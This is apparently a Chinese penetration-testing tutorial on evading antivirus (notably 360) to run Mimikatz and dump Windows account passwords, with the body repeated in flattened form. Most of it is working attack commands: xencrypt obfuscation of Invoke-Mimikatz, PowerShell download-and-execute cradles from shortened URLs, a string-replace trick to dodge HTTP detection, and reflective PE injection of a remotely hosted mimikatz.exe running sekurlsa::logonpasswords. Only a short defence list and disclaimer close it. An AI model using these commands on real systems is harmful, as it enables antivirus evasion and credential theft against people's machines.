实战中如何绕过杀软用mimikatz获取账号密码
字数 1124 2025-08-15 21:30:39

绕过杀软使用Mimikatz获取账号密码的实战技术

1. 背景与挑战

在Windows系统渗透测试中,获取账号密码是常见需求,Mimikatz是最著名的工具之一。然而,主流杀毒软件(如360)对Mimikatz的检测非常严格,直接使用会被立即拦截。

2. 基本绕过技术

2.1 混淆加密方法

使用xencrypt工具对Mimikatz的PowerShell脚本进行混淆:

  1. 下载xencrypt工具:https://github.com/the-xentropy/xencrypt
  2. 基本混淆命令:
Import-Module ./xencrypt.ps1
Invoke-Xencrypt -InFile invoke-mimikatz.ps1 -OutFile xenmimi.ps1
  1. 多层混淆(增加免杀效果):
Invoke-Xencrypt -InFile invoke-mimikatz.ps1 -OutFile xenmimi.ps1 -Iterations 100

注意:此方法可绕过360等大部分杀软,但会被卡巴斯基检测到。

2.2 Windows 7兼容性问题

Windows 7默认PowerShell版本为2.0,xencrypt生成的脚本可能不兼容。解决方法:

  1. 直接执行原始脚本(可能被拦截):
powershell -exec bypass "import-module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz"

3. 高级绕过技术

3.1 远程加载绕过

通过内存加载方式避免文件落地:

  1. 基本远程加载(可能被拦截):
"IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds"
  1. 绕过360的HTTP检测:
"IEX (New-Object Net.WebClient).DownloadString(('htxtp://is.gd/oeoFuI' -replace 'x',''));Invoke-Mimikatz -DumpCreds"

注意:360在检测到PowerShell下载攻击后会暂时阻止所有PowerShell执行,需直接执行替换后的命令。

3.2 远程加载EXE文件

使用PowerSploit的Invoke-ReflectivePEInjection将Mimikatz EXE加载到内存:

  1. 下载Invoke-ReflectivePEInjection脚本:
    https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1

  2. 执行命令:

powershell.exe -exec bypass IEX (New-Object Net.WebClient).DownloadString(('htxtp://suo.im/5FAjaC' -replace 'x',''));Invoke-ReflectivePEInjection -PEUrl http://x.x.x.x/mimikatz.exe -ExeArgs "sekurlsa::logonpasswords" -ForceASLR

参数说明:

  • -PEUrl: 包含要加载的EXE/DLL的URL
  • -ExeArgs: 要执行的命令参数
  • -ForceASLR: 强制地址空间布局随机化

4. 技术要点总结

  1. 混淆加密:使用AES加密和Gzip/DEFLATE压缩生成唯一但功能相同的脚本
  2. 多层混淆:通过-Iterations参数增加混淆层数提高免杀率
  3. 版本兼容:注意PowerShell 2.0的兼容性问题
  4. 远程加载:通过内存加载避免文件落地
  5. HTTP检测绕过:使用字符串替换绕过简单的HTTP协议检测
  6. EXE内存加载:使用反射式注入技术直接加载EXE到内存

5. 防御建议

  1. 限制PowerShell执行权限
  2. 监控异常的网络下载行为
  3. 更新杀毒软件规则库
  4. 限制内存注入操作
  5. 升级PowerShell到最新版本

免责声明:本文所述技术仅供安全研究和防御使用,严禁用于非法用途。

绕过杀软使用Mimikatz获取账号密码的实战技术 1. 背景与挑战 在Windows系统渗透测试中,获取账号密码是常见需求,Mimikatz是最著名的工具之一。然而,主流杀毒软件(如360)对Mimikatz的检测非常严格,直接使用会被立即拦截。 2. 基本绕过技术 2.1 混淆加密方法 使用xencrypt工具对Mimikatz的PowerShell脚本进行混淆: 下载xencrypt工具:https://github.com/the-xentropy/xencrypt 基本混淆命令: 多层混淆(增加免杀效果): 注意 :此方法可绕过360等大部分杀软,但会被卡巴斯基检测到。 2.2 Windows 7兼容性问题 Windows 7默认PowerShell版本为2.0,xencrypt生成的脚本可能不兼容。解决方法: 直接执行原始脚本(可能被拦截): 3. 高级绕过技术 3.1 远程加载绕过 通过内存加载方式避免文件落地: 基本远程加载(可能被拦截): 绕过360的HTTP检测: 注意 :360在检测到PowerShell下载攻击后会暂时阻止所有PowerShell执行,需直接执行替换后的命令。 3.2 远程加载EXE文件 使用PowerSploit的Invoke-ReflectivePEInjection将Mimikatz EXE加载到内存: 下载Invoke-ReflectivePEInjection脚本: https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1 执行命令: 参数说明: -PEUrl : 包含要加载的EXE/DLL的URL -ExeArgs : 要执行的命令参数 -ForceASLR : 强制地址空间布局随机化 4. 技术要点总结 混淆加密 :使用AES加密和Gzip/DEFLATE压缩生成唯一但功能相同的脚本 多层混淆 :通过-Iterations参数增加混淆层数提高免杀率 版本兼容 :注意PowerShell 2.0的兼容性问题 远程加载 :通过内存加载避免文件落地 HTTP检测绕过 :使用字符串替换绕过简单的HTTP协议检测 EXE内存加载 :使用反射式注入技术直接加载EXE到内存 5. 防御建议 限制PowerShell执行权限 监控异常的网络下载行为 更新杀毒软件规则库 限制内存注入操作 升级PowerShell到最新版本 免责声明 :本文所述技术仅供安全研究和防御使用,严禁用于非法用途。